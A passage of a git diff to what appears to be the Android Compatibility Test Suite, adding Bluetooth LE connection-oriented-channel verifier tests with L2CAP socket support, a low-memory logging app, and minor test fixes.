+        mLePsmCharacteristic.setValue(mPsm, BluetoothGattCharacteristic.FORMAT_UINT8, 0);
+    }
+
+    private void startAdvertise() {
+        if (DEBUG) {
+            Log.d(TAG, "startAdvertise");
+        }
+        AdvertiseData data = new AdvertiseData.Builder()
+            .addServiceData(new ParcelUuid(ADV_COC_SERVICE_UUID), new byte[]{1,2,3})
+            .addServiceUuid(new ParcelUuid(ADV_COC_SERVICE_UUID))
+            .build();
+        AdvertiseSettings setting = new AdvertiseSettings.Builder()
+            .setAdvertiseMode(AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY)
+            .setTxPowerLevel(AdvertiseSettings.ADVERTISE_TX_POWER_MEDIUM)
+            .setConnectable(true)
+            .build();
+        mAdvertiser.startAdvertising(setting, data, mAdvertiseCallback);
+    }
+
+    private void stopAdvertise() {
+        if (DEBUG) {
+            Log.d(TAG, "stopAdvertise");
+        }
+        if (mAdvertiser != null) {
+            mAdvertiser.stopAdvertising(mAdvertiseCallback);
+        }
+    }
+
+    private final AdvertiseCallback mAdvertiseCallback = new AdvertiseCallback(){
+        @Override
+        public void onStartFailure(int errorCode) {
+            // Implementation for API Test.
+            super.onStartFailure(errorCode);
+            if (DEBUG) {
+                Log.d(TAG, "onStartFailure");
+            }
+
+            if (errorCode == ADVERTISE_FAILED_FEATURE_UNSUPPORTED) {
+                notifyAdvertiseUnsupported();
+            } else {
+                notifyOpenFail();
+            }
+        }
+
+        @Override
+        public void onStartSuccess(AdvertiseSettings settingsInEffect) {
+            // Implementation for API Test.
+            super.onStartSuccess(settingsInEffect);
+            if (DEBUG) {
+                Log.d(TAG, "onStartSuccess");
+            }
+        }
+    };
+
+    /*protected*/ static void dumpService(BluetoothGattService service, int level) {
+        String indent = "";
+        for (int i = 0; i < level; ++i) {
+            indent += "  ";
+        }
+
+        Log.d(TAG, indent + "[service]");
+        Log.d(TAG, indent + "UUID: " + service.getUuid());
+        Log.d(TAG, indent + "  [characteristics]");
+        for (BluetoothGattCharacteristic ch : service.getCharacteristics()) {
+            Log.d(TAG, indent + "    UUID: " + ch.getUuid());
+            Log.d(TAG, indent + "      properties: "
+                  + String.format("0x%02X", ch.getProperties()));
+            Log.d(TAG, indent + "      permissions: "
+                  + String.format("0x%02X", ch.getPermissions()));
+            Log.d(TAG, indent + "      [descriptors]");
+            for (BluetoothGattDescriptor d : ch.getDescriptors()) {
+                Log.d(TAG, indent + "        UUID: " + d.getUuid());
+                Log.d(TAG, indent + "          permissions: "
+                      + String.format("0x%02X", d.getPermissions()));
+            }
+        }
+
+        if (service.getIncludedServices() != null) {
+            Log.d(TAG, indent + "  [included services]");
+            for (BluetoothGattService s : service.getIncludedServices()) {
+                dumpService(s, level + 1);
+            }
+        }
+    }
+}
+
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerTestBaseActivity.java
new file mode 100644
index 0000000..17d1370
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerTestBaseActivity.java
@@ -0,0 +1,238 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import android.app.AlertDialog;
+import android.app.Dialog;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.DialogInterface;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.util.Log;
+import android.widget.ListView;
+import android.widget.Toast;
+
+public class BleCocServerTestBaseActivity extends PassFailButtons.Activity {
+
+    public static final boolean DEBUG = true;
+    public static final String TAG = "BleCocServerTestBaseActivity";
+
+    private final int TEST_BLE_LE_CONNECTED = 0;
+    private final int TEST_BLE_LISTENER_CREATED = 1;
+    private final int TEST_BLE_PSM_READ = 2;
+    private final int TEST_BLE_COC_CONNECTED = 3;
+    private final int TEST_BLE_CONNECTION_TYPE_CHECKED = 4;
+    private final int TEST_BLE_DATA_8BYTES_READ = 5;
+    private final int TEST_BLE_DATA_8BYTES_SENT = 6;
+    private final int TEST_BLE_DATA_EXCHANGED = 7;
+    private final int TEST_BLE_SERVER_DISCONNECTED = 8;
+    private static final int PASS_FLAG_ALL = 0x01FF;
+
+    private TestAdapter mTestAdapter;
+    private long mPassed;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.ble_server_start);
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.ble_coc_server_start_name,
+                         R.string.ble_server_start_info, -1);
+        getPassButton().setEnabled(false);
+
+        mTestAdapter = new TestAdapter(this, setupTestList());
+        ListView listView = (ListView) findViewById(R.id.ble_server_tests);
+        listView.setAdapter(mTestAdapter);
+
+        mPassed = 0;
+    }
+
+    @Override
+    public void onResume() {
+        super.onResume();
+
+        IntentFilter filter = new IntentFilter();
+
+        filter.addAction(BleCocServerService.BLE_LE_CONNECTED);
+        filter.addAction(BleCocServerService.BLE_COC_LISTENER_CREATED);
+        filter.addAction(BleCocServerService.BLE_PSM_READ);
+        filter.addAction(BleCocServerService.BLE_COC_CONNECTED);
+        filter.addAction(BleCocServerService.BLE_CONNECTION_TYPE_CHECKED);
+        filter.addAction(BleCocServerService.BLE_DATA_8BYTES_READ);
+        filter.addAction(BleCocServerService.BLE_DATA_8BYTES_SENT);
+        filter.addAction(BleCocServerService.BLE_DATA_LARGEBUF_READ);
+
+        filter.addAction(BleCocServerService.BLE_BLUETOOTH_MISMATCH_SECURE);
+        filter.addAction(BleCocServerService.BLE_BLUETOOTH_MISMATCH_INSECURE);
+        filter.addAction(BleCocServerService.BLE_SERVER_DISCONNECTED);
+
+        filter.addAction(BleCocServerService.BLE_BLUETOOTH_DISABLED);
+        filter.addAction(BleCocServerService.BLE_OPEN_FAIL);
+        filter.addAction(BleCocServerService.BLE_ADVERTISE_UNSUPPORTED);
+        filter.addAction(BleCocServerService.BLE_ADD_SERVICE_FAIL);
+
+        registerReceiver(mBroadcast, filter);
+    }
+
+    @Override
+    public void onPause() {
+        super.onPause();
+        unregisterReceiver(mBroadcast);
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+    }
+
+    private List<Integer> setupTestList() {
+        ArrayList<Integer> testList = new ArrayList<Integer>();
+        testList.add(R.string.ble_coc_server_le_connect);
+        testList.add(R.string.ble_coc_server_create_listener);
+        testList.add(R.string.ble_coc_server_psm_read);
+        testList.add(R.string.ble_coc_server_connection);
+        testList.add(R.string.ble_coc_server_check_connection_type);
+        testList.add(R.string.ble_coc_server_receive_data_8bytes);
+        testList.add(R.string.ble_coc_server_send_data_8bytes);
+        testList.add(R.string.ble_coc_server_data_exchange);
+        testList.add(R.string.ble_server_receiving_disconnect);
+        return testList;
+    }
+
+    private void showErrorDialog(int titleId, int messageId, boolean finish) {
+        AlertDialog.Builder builder = new AlertDialog.Builder(this)
+                .setTitle(titleId)
+                .setMessage(messageId);
+        if (finish) {
+            builder.setOnCancelListener(new Dialog.OnCancelListener() {
+                @Override
+                public void onCancel(DialogInterface dialog) {
+                    finish();
+                }
+            });
+        }
+        builder.create().show();
+    }
+
+    private BroadcastReceiver mBroadcast = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            String action = intent.getAction();
+            if (DEBUG) {
+                Log.d(TAG, "BroadcastReceiver.onReceive: action=" + action);
+            }
+            String newAction = null;
+            final Intent startIntent = new Intent(BleCocServerTestBaseActivity.this, BleCocServerService.class);
+
+            switch (action) {
+            case BleCocServerService.BLE_BLUETOOTH_DISABLED:
+                showErrorDialog(R.string.ble_bluetooth_disable_title, R.string.ble_bluetooth_disable_message, true);
+                break;
+            case BleCocServerService.BLE_LE_CONNECTED:
+                mTestAdapter.setTestPass(TEST_BLE_LE_CONNECTED);
+                mPassed |= (1 << TEST_BLE_LE_CONNECTED);
+                break;
+            case BleCocServerService.BLE_COC_LISTENER_CREATED:
+                mTestAdapter.setTestPass(TEST_BLE_LISTENER_CREATED);
+                mPassed |= (1 << TEST_BLE_LISTENER_CREATED);
+                break;
+            case BleCocServerService.BLE_PSM_READ:
+                mTestAdapter.setTestPass(TEST_BLE_PSM_READ);
+                mPassed |= (1 << TEST_BLE_PSM_READ);
+                break;
+            case BleCocServerService.BLE_COC_CONNECTED:
+                mTestAdapter.setTestPass(TEST_BLE_COC_CONNECTED);
+                mPassed |= (1 << TEST_BLE_COC_CONNECTED);
+                break;
+            case BleCocServerService.BLE_CONNECTION_TYPE_CHECKED:
+                mTestAdapter.setTestPass(TEST_BLE_CONNECTION_TYPE_CHECKED);
+                mPassed |= (1 << TEST_BLE_CONNECTION_TYPE_CHECKED);
+                break;
+            case BleCocServerService.BLE_DATA_8BYTES_READ:
+                mTestAdapter.setTestPass(TEST_BLE_DATA_8BYTES_READ);
+                mPassed |= (1 << TEST_BLE_DATA_8BYTES_READ);
+                // send the next action to send 8 bytes
+                newAction = BleCocServerService.BLE_COC_SERVER_ACTION_SEND_DATA_8BYTES;
+                break;
+            case BleCocServerService.BLE_DATA_8BYTES_SENT:
+                mTestAdapter.setTestPass(TEST_BLE_DATA_8BYTES_SENT);
+                mPassed |= (1 << TEST_BLE_DATA_8BYTES_SENT);
+                // send the next action to send 8 bytes
+                newAction = BleCocServerService.BLE_COC_SERVER_ACTION_EXCHANGE_DATA;
+                break;
+            case BleCocServerService.BLE_DATA_LARGEBUF_READ:
+                mTestAdapter.setTestPass(TEST_BLE_DATA_EXCHANGED);
+                mPassed |= (1 << TEST_BLE_DATA_EXCHANGED);
+                // Disconnect
+                newAction = BleCocServerService.BLE_COC_SERVER_ACTION_DISCONNECT;
+                break;
+            case BleCocServerService.BLE_SERVER_DISCONNECTED:
+                mTestAdapter.setTestPass(TEST_BLE_SERVER_DISCONNECTED);
+                mPassed |= (1 << TEST_BLE_SERVER_DISCONNECTED);
+                // all tests done
+                break;
+            case BleCocServerService.BLE_BLUETOOTH_MISMATCH_SECURE:
+                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);
+                break;
+            case BleCocServerService.BLE_BLUETOOTH_MISMATCH_INSECURE:
+                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_insecure_message, true);
+                break;
+            case BleCocServerService.BLE_ADVERTISE_UNSUPPORTED:
+                showErrorDialog(R.string.bt_advertise_unsupported_title, R.string.bt_advertise_unsupported_message, true);
+                break;
+            case BleCocServerService.BLE_OPEN_FAIL:
+                setTestResultAndFinish(false);
+                runOnUiThread(new Runnable() {
+                    @Override
+                    public void run() {
+                        Toast.makeText(BleCocServerTestBaseActivity.this, R.string.bt_open_failed_message, Toast.LENGTH_SHORT).show();
+                    }
+                });
+                break;
+            case BleCocServerService.BLE_ADD_SERVICE_FAIL:
+                showErrorDialog(R.string.bt_add_service_failed_title, R.string.bt_add_service_failed_message, true);
+                break;
+            default:
+                if (DEBUG) {
+                    Log.d(TAG, "Note: BroadcastReceiver.onReceive: unhandled action=" + action);
+                }
+            }
+
+            mTestAdapter.notifyDataSetChanged();
+
+            if (newAction != null) {
+                Log.d(TAG, "Starting " + newAction);
+                startIntent.setAction(newAction);
+
+                startService(startIntent);
+            }
+
+            if (mPassed == PASS_FLAG_ALL) {
+                Log.d(TAG, "All Tests Passed.");
+                getPassButton().setEnabled(true);
+            }
+        }
+    };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothChatService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothChatService.java
index 6eb587f..f2be547 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothChatService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothChatService.java
@@ -73,6 +73,9 @@
     private ConnectThread mConnectThread;
     private ConnectedThread mConnectedThread;
     private int mState;
+    private boolean mBleTransport;
+    private int mLePsm;
+    private int mSocketConnectionType = -1;
 
     // Constants that indicate the current connection state
     public static final int STATE_NONE = 0;       // we're doing nothing
@@ -90,6 +93,22 @@
         mState = STATE_NONE;
         mHandler = handler;
         mUuid = uuid;
+        mBleTransport = false;
+    }
+
+    /**
+     * Constructor. Prepares a new BluetoothChat session.
+     * @param context  The UI Activity Context
+     * @param handler  A Handler to send messages back to the UI Activity
+     * @param useBle   A flag to use the BLE transport
+     */
+    public BluetoothChatService(Context context, Handler handler, boolean useBle) {
+        mAdapter = BluetoothAdapter.getDefaultAdapter();
+        mState = STATE_NONE;
+        mHandler = handler;
+        mUuid = null;
+        mBleTransport = useBle;
+        if (D) Log.d(TAG, "Construct BluetoothChatService: useBle=" + useBle);
     }
 
     /**
@@ -136,12 +155,47 @@
     }
 
     /**
+     * Return the assigned PSM value.
+     */
+    public synchronized int getPsm(boolean secure) {
+        if (secure && mSecureAcceptThread != null) {
+            return mSecureAcceptThread.getPsm();
+        }
+        else if (!secure && mInsecureAcceptThread != null) {
+            return mInsecureAcceptThread.getPsm();
+        }
+        Log.e(TAG, "getPsm: Invalid PSM value");
+        return 0;
+    }
+
+    /**
+     * Return the socket Connection Type.
+     */
+    public synchronized int getSocketConnectionType() {
+        return mSocketConnectionType;
+    }
+
+    /**
      * Start the ConnectThread to initiate a connection to a remote device.
-     * @param device  The BluetoothDevice to connect
+     * @param device  The BluetoothDevice to connect to
      * @param secure Socket Security type - Secure (true) , Insecure (false)
      */
     public synchronized void connect(BluetoothDevice device, boolean secure) {
-        if (D) Log.d(TAG, "connect to: " + device);
+        if (!mBleTransport) {
+            connect(device, secure, 0);
+        } else {
+            Log.e(TAG, "connect: Error: LE cannot call this method!");
+        }
+    }
+
+    /**
+     * Start the ConnectThread to initiate a connection to a remote device.
+     * @param device  The BluetoothDevice to connect to
+     * @param secure Socket Security type - Secure (true) , Insecure (false)
+     * @param psm Assigned PSM value
+     */
+    public synchronized void connect(BluetoothDevice device, boolean secure, int psm) {
+        if (D) Log.d(TAG, "connect to: " + device + ", psm: " + psm + ", ble: " + mBleTransport);
 
         // Cancel any thread attempting to make a connection
         if (mState == STATE_CONNECTING) {
@@ -152,7 +206,7 @@
         if (mConnectedThread != null) {mConnectedThread.cancel(); mConnectedThread = null;}
 
         // Start the thread to connect with the given device
-        mConnectThread = new ConnectThread(device, secure);
+        mConnectThread = new ConnectThread(device, secure, psm);
         mConnectThread.start();
         setState(STATE_CONNECTING);
     }
@@ -281,15 +335,31 @@
 
             // Create a new listening server socket
             try {
-                if (secure) {
-                    tmp = mAdapter.listenUsingRfcommWithServiceRecord(NAME_SECURE, mUuid);
+                if (mBleTransport) {
+                    if (secure) {
+                        tmp = mAdapter.listenUsingL2capChannel();
+                    } else {
+                        tmp = mAdapter.listenUsingInsecureL2capChannel();
+                    }
                 } else {
-                    tmp = mAdapter.listenUsingInsecureRfcommWithServiceRecord(NAME_INSECURE, mUuid);
+                    if (secure) {
+                        tmp = mAdapter.listenUsingRfcommWithServiceRecord(NAME_SECURE, mUuid);
+                    } else {
+                        tmp = mAdapter.listenUsingInsecureRfcommWithServiceRecord(NAME_INSECURE, mUuid);
+                    }
                 }
             } catch (IOException e) {
-                Log.e(TAG, "Socket Type: " + mSocketType + " listen() failed", e);
+                Log.e(TAG, "Socket Type: " + mSocketType + ", le: " + mBleTransport + " listen() failed", e);
             }
             mmServerSocket = tmp;
+            if (mBleTransport) {
+                // Get the assigned PSM value
+                mLePsm = mmServerSocket.getPsm();
+            }
+        }
+
+        public int getPsm() {
+            return mLePsm;
         }
 
         public void run() {
@@ -317,6 +387,7 @@
                         case STATE_LISTEN:
                         case STATE_CONNECTING:
                             // Situation normal. Start the connected thread.
+                            mSocketConnectionType = socket.getConnectionType();
                             connected(socket, socket.getRemoteDevice(),
                                     mSocketType);
                             break;
@@ -335,8 +406,10 @@
                     Log.i(TAG, "Got null socket");
                 }
             }
-            if (D) Log.i(TAG, "END mAcceptThread, socket Type: " + mSocketType);
-
+            if (D) {
+                Log.i(TAG, "END mAcceptThread, socket Type: " + mSocketType
+                         + ", SocketConnectionType: " + mSocketConnectionType);
+            }
         }
 
         public void cancel() {
@@ -361,26 +434,50 @@
         private String mSocketType;
 
         public ConnectThread(BluetoothDevice device, boolean secure) {
+            if (mBleTransport) {
+                Log.e(TAG, "ConnectThread: Error: LE should not call this constructor");
+            }
             mmDevice = device;
+            mmSocket = connectThreadCommon(device, secure, 0);
+        }
+
+        public ConnectThread(BluetoothDevice device, boolean secure, int psm) {
+            mmDevice = device;
+            mmSocket = connectThreadCommon(device, secure, psm);
+        }
+
+        private BluetoothSocket connectThreadCommon(BluetoothDevice device, boolean secure, int psm) {
             BluetoothSocket tmp = null;
             mSocketType = secure ? "Secure" : "Insecure";
 
             // Get a BluetoothSocket for a connection with the
             // given BluetoothDevice
             try {
-                if (secure) {
-                    tmp = device.createRfcommSocketToServiceRecord(mUuid);
+                if (mBleTransport) {
+                    if (secure) {
+                        tmp = device.createL2capChannel(psm);
+                    } else {
+                        tmp = device.createInsecureL2capChannel(psm);
+                    }
                 } else {
-                    tmp = device.createInsecureRfcommSocketToServiceRecord(mUuid);
+                    if (secure) {
+                        tmp = device.createRfcommSocketToServiceRecord(mUuid);
+                    } else {
+                        tmp = device.createInsecureRfcommSocketToServiceRecord(mUuid);
+                    }
                 }
             } catch (IOException e) {
                 Log.e(TAG, "Socket Type: " + mSocketType + "create() failed", e);
             }
-            mmSocket = tmp;
+
+            mSocketConnectionType = tmp.getConnectionType();
+
+            return tmp;
         }
 
         public void run() {
-            Log.i(TAG, "BEGIN mConnectThread SocketType:" + mSocketType);
+            Log.i(TAG, "BEGIN mConnectThread SocketType:" + mSocketType
+                  + ", mSocketConnectionType: " + mSocketConnectionType);
             setName("ConnectThread" + mSocketType);
 
             // Always cancel discovery because it will slow down a connection
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
index 1be781b..90f0dc3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
@@ -181,8 +181,7 @@
                     UserManager.DISALLOW_CONFIG_DATE_TIME,
                     UserManager.DISALLOW_CONFIG_LOCATION,
                     UserManager.DISALLOW_CONFIG_SCREEN_TIMEOUT,
-                    UserManager.DISALLOW_CONFIG_BRIGHTNESS,
-                    UserManager.DISALLOW_AMBIENT_DISPLAY);
+                    UserManager.DISALLOW_CONFIG_BRIGHTNESS);
 
     public static String getRestrictionLabel(Context context, String restriction) {
         final UserRestrictionItem item = findRestrictionItem(restriction);
diff --git a/apps/OomCatcher/Android.mk b/apps/OomCatcher/Android.mk
new file mode 100644
index 0000000..7f47e03
--- /dev/null
+++ b/apps/OomCatcher/Android.mk
@@ -0,0 +1,33 @@
+#
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := OomCatcher
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_COMPATIBILITY_SUITE := cts sts
+
+include $(BUILD_CTS_PACKAGE)
+
diff --git a/apps/OomCatcher/AndroidManifest.xml b/apps/OomCatcher/AndroidManifest.xml
new file mode 100644
index 0000000..25513e2
--- /dev/null
+++ b/apps/OomCatcher/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+      package="com.android.cts.oomcatcher"
+      android:versionCode="1"
+      android:versionName="1.0">
+
+    <application>
+        <activity android:name=".OomCatcher">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java b/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java
new file mode 100644
index 0000000..53ec140
--- /dev/null
+++ b/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.oomcatcher;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.ComponentCallbacks2;
+import android.util.Log;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+/*
+ * An App to report to logcat the lowmemory status. As soon as the app detects low memory, it
+ * immediately reports. In addition, it also reports every second.
+ */
+public class OomCatcher extends Activity implements ComponentCallbacks2 {
+
+    private static final String LOG_TAG = "OomCatcher";
+
+    private AtomicBoolean isOom = new AtomicBoolean(false);
+
+    Thread logThread;
+
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        logThread = new Thread() {
+            @Override
+            public void run() {
+                while (true) {
+                    logStatus();
+                    try {
+                        Thread.sleep(1000); // 1 second
+                    } catch (InterruptedException e) {
+                        // thread has been killed
+                    }
+                }
+            }
+        };
+        logThread.setDaemon(true);
+        logThread.start();
+    }
+
+    public void onDestroy() {
+        if (logThread != null) {
+            logThread.interrupt();
+        }
+    }
+
+    /*
+     * Receive memory callbacks from the Android system. All report low memory except for
+     * TRIM_MEMORY_UI_HIDDEN, which reports when the app is in the background. We don't care about
+     * that, only when the device is at risk of OOMing.
+     *
+     * For all indications of low memory, onLowMemory() is called.
+     */
+    @Override
+    public void onTrimMemory(int level) {
+        switch (level) {
+            case TRIM_MEMORY_COMPLETE:
+            case TRIM_MEMORY_MODERATE:
+            case TRIM_MEMORY_BACKGROUND:
+            case TRIM_MEMORY_RUNNING_CRITICAL:
+            case TRIM_MEMORY_RUNNING_LOW:
+            case TRIM_MEMORY_RUNNING_MODERATE:
+                //fallthrough
+                onLowMemory();
+                break;
+            case TRIM_MEMORY_UI_HIDDEN:
+            default:
+                return;
+        }
+    }
+
+    /*
+     * An earlier API implementation of low memory callbacks. Sets oom status and logs.
+     */
+    @Override
+    public void onLowMemory() {
+        isOom.set(true);
+        logStatus();
+    }
+
+    /*
+     * Log to logcat the current lowmemory status of the app.
+     */
+    private void logStatus() {
+        Log.i(LOG_TAG, isOom.get() ? "Low memory" : "Normal memory");
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 559380d..6c598ec 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -19,6 +19,8 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
+import android.platform.test.annotations.RequiresDevice;
+
 import com.android.ddmlib.AdbCommandRejectedException;
 import com.android.ddmlib.CollectingOutputReceiver;
 import com.android.ddmlib.Log;
@@ -112,6 +114,7 @@
      * If device doesn't have native FBE, enable emulation and verify lifecycle.
      */
     @Test
+    @RequiresDevice
     public void testDirectBootEmulated() throws Exception {
         if (!isSupportedDevice()) {
             Log.v(TAG, "Device not supported; skipping test");
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/ScopedDirectoryAccessClientTest.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/ScopedDirectoryAccessClientTest.java
index dc44baf..135a0f7 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/ScopedDirectoryAccessClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/ScopedDirectoryAccessClientTest.java
@@ -353,11 +353,10 @@
         final boolean gotIt = mDevice.wait(Until.hasObject(By.text(dir)), TIMEOUT);
         assertTrue("object with text'(" + dir + "') not visible yet", gotIt);
         // TODO: find a better way to get the toggle rather then getting all
-        final List<UiObject2> toggles = mDevice.findObjects(By.res("android:id/switch_widget"));
-        assertEquals("should have just one toggle: " + toggles, 1, toggles.size());
-        final UiObject2 toggle = toggles.get(0);
+        UiObject2 toggle = getUniqueToggle();
         assertFalse("toggle for '" + dir + "' should not be checked", toggle.isChecked());
         toggle.click();
+        toggle = getUniqueToggle();
         assertTrue("toggle for '" + dir + "' should be checked", toggle.isChecked());
 
         // Close app screen.
@@ -395,11 +394,10 @@
         final boolean gotIt = mDevice.wait(Until.hasObject(By.text(dir)), TIMEOUT);
         assertTrue("object with text'(" + dir + "') not visible yet", gotIt);
         // TODO: find a better way to get the toggle rather then getting all
-        final List<UiObject2> toggles = mDevice.findObjects(By.res("android:id/switch_widget"));
-        assertEquals("should have just one toggle: " + toggles, 1, toggles.size());
-        final UiObject2 toggle = toggles.get(0);
+        UiObject2 toggle = getUniqueToggle();
         assertTrue("toggle for '" + dir + "' should be checked", toggle.isChecked());
         toggle.click();
+        toggle = getUniqueToggle();
         assertFalse("toggle for '" + dir + "' should not be checked", toggle.isChecked());
 
         // Close app screen.
@@ -414,6 +412,12 @@
         assertActivityFailed();
     }
 
+    private UiObject2 getUniqueToggle() {
+        List<UiObject2> toggles = mDevice.findObjects(By.res("android:id/switch_widget"));
+        assertEquals("should have just one toggle: " + toggles, 1, toggles.size());
+        return toggles.get(0);
+    }
+
     private void launchDirectoryAccessSettingsScreenAndSelectApp() {
         final Intent intent = new Intent(Settings.ACTION_STORAGE_VOLUME_ACCESS_SETTINGS)
                 .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK );
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java
index 42eab56..0d37457 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java
@@ -42,4 +42,13 @@
     public void testResetPassword_nycRestrictions() throws Exception {
         return;
     }
+
+    /**
+     * This test is no longer relevant since resetPassword() was deprecated in version 26.
+     * Device Owner functionality is now tested in DeviceAndProfileOwnerTest.
+     */
+    @Override
+    public void testRunDeviceOwnerPasswordTest() throws Exception {
+        return;
+    }
 }
diff --git a/hostsidetests/os/src/android/os/cts/PowerManagerTests.java b/hostsidetests/os/src/android/os/cts/PowerManagerTests.java
new file mode 100644
index 0000000..d0f4413
--- /dev/null
+++ b/hostsidetests/os/src/android/os/cts/PowerManagerTests.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertFalse;
+
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
